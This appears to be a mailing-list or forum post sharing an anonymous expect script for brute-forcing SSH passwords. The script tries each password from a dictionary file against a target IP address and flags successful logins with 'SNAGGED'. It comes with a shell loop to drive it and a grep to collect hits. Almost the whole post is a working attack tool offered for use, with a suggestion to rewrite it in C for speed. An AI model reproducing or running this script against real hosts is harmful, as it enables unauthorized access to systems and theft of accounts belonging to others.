Hey guys,
If you want to try the "expect" route, you can use the script below...
but, yes, it is slow...would be much quicker if someone modified a
ssh-client in C ... ;-)

---cut

#!/usr/bin/expect -f


# by anonymous
# dorky way to brute force ssh passwd
# from command prompt do a
# for i in `cat PASSWD_FILE`; do ./ssh_brute.expect $i IPADDRESS >>
# ssh_rezults; done
# where PASSWD_FILE is your dictionary file and IPADDRESS is (duh) the IP
# address
# then run
# grep "SNAGGED" ssh_rezults


set timeout 5

set passwd [lindex $argv 0]
set host   [lindex $argv 1]

spawn ssh $host

expect "password:"
send -- "$passwd\n"


expect {

"assword"    { exit 0 }
"enied"       { exit 0 }
"#"           { send_user "SNAGGED $passwd\n" }
timeout          { exit 254 }
eof              { exit 253 }

}

exit 0
